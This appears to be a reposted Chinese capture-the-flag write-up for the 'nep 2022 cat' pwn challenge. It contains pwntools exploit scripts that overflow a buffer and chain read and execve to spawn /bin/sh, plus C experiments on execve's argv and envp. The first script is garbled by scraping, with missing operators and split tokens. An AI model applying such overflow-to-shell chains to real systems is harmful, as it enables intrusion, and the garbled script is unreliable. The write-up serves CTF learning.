资讯详情

nep 2022 cat

摸鱼的时候看了看 先布置execve的参数 再写execve的gadget 再利用add esp 0x20这个gadget替换原本常用的pop 3 reg 只要注意到函数开头的托盘操作,一切都很容易说…

ret    = 0x08048127  sys_write  = 0x08048110 sys_read  = 0x080480F0 aGoodLuck  = 0x0804B000 addr    = 0x0804B000   0x500 # binsh's addr r_w    = 0x08048130 add_esp_20__ret = 0x08048190 start    = 0x080481A0 execve    = 0x08048115 def exp(i):  pl = 0x10 * b'a'   p32(sys_read)   p32(start)   pl = p32(0)   p32(addr)   p32(len("/bin/sh"))  pl = p32(addr)   p32(0)   p32(0) # addr store "binsh"'s' addr   gdb.attach(p)   se(pl)  ri()  se(b"/bin/sh")   pl = 0x10 * b'a'   p32(start)  pl = p32(0)*5    p32(execve)    # gdb.attach(p)  ri()  se(pl)    pl = 0x10*b'a'   p32(sys_write)   p32(add_esp_20__ret)  pl = p32(
      
       1
       ) 
       + p32
       (aGoodLuck
       ) 
       + p32
       (
       11
       ) ri
       (
       ) se
       (pl
       ) 
       if __name__
       ==
       "__main__"
       : exp
       (
       1
       ) ir
       (
       ) 
      

在这里插入图片描述

官解

from pwn import*
p=process('./main')
sys_read = 0x080480f0
sys_execve = 0x08048115
binsh = 0x0804B000+0x200 # anywhere in data section
payload  = b"b"*0x10 + p32(sys_read) + p32(sys_execve) + p32(0) + p32(binsh)
payload += p32(binsh + 7) + p32(0) * 3 + b"\x00\x00"# 50 byte overflow
payload += b"/bin/sh\x00" + b"\x00" * 3 # 11 byte
# gdb.attach(p)
p.send(payload)
p.interactive()

看了官方的wp才知道可以这么玩 一次性发出所有数据 反正也是在缓冲区 没必要发两次 最重要的是execve 平常都是要构造execve('/bin/sh',NULL,NULL) 但是这里是execve('/bin/sh',ptr,NULL); *ptr = NULL

实践证明 execve执行binsh并不一定要两个NULL

#include <stdio.h>
#include <stdlib.h>
int
main(int argc, char ** argv){ 
        

	printf("Hello \n");
	void *ptr = NULL;
	ptr = "squ";
   execve("/bin/sh", (char * const*)&ptr, 0);
}

但是如果argv中有两个非NULL参数的时候 就会出现问题

#include <stdio.h>
#include <stdlib.h>
int
main(int argc, char ** argv){ 
        
	printf("Hello \n");
	char * const* ptr = NULL;
	char * p[] = { 
        
		"squ",
		// "irrel", 去掉注释没法拿shell 而注释掉就能拿shell
		NULL
	};
	ptr = p;
	    execve("/bin/sh", ptr,  ptr);
}

看一个例子

#include <stdio.h>
#include <stdlib.h>
int
main(){ 
        ;

	printf("Hello \n");
	char * const argv[] = { 
        
		"Yoiko",
		"-al",
		"/etc/passwd",
		NULL,
	};
	char * envp[] = { 
        
		"squ",
		"irrel",
		NULL
	};
	execve("/bin/ls", argv, NULL);
}

正常来讲argv的第一个参数应该是所执行的任务名字(约定俗成 这里特意换成毫无关系的命令 因为用不到

	char * const argv[] = { 
        
		"Yoiko",
		"-al",
		"/etc/passwd",
		NULL,
	};

所以execve("/bin/sh",argv,envp) 在极限情况下 argv指向的数组可以有一个成员 这个成员不被使用 毫无关系 但是不能超过两个 因为第二个就要被执行了 但是sh是不带参数的

但是这题很难找到一个二级指针 所以只需要argv和envp的指针都指向NULL即可 而并不需要都置NULL 这样解出这题就方便很多了 (之前有个大佬说execve的argv和envp都需要两个NULL让我深信不疑 果然实践出真知)

from pwn import*
p=process('./main')
sys_read = 0x080480f0
sys_execve = 0x08048115
binsh = 0x0804B000+0x200 # anywhere in data section
gGoodLuck = 0x0804B000
payload  = b"b"*0x10 + p32(sys_read) + p32(sys_execve) + p32(0) + p32(binsh)
payload += p32(binsh + 7) + p32(binsh + 7) + p32(0) * 2 + b"\x00\x00"# 50 byte overflow
payload += b"/bin/sh\x00" + b"\x00" * 3 # 11 byte
# gdb.attach(p)
p.send(payload)
p.interactive()

标签: p32j3m密封连接器p32j12m密封连接器p32j10mq密封连接器p32j11mqg密封连接器

锐单商城拥有海量元器件数据手册IC替代型号,打造 电子元器件IC百科大全!

锐单商城 - 一站式电子元器件采购平台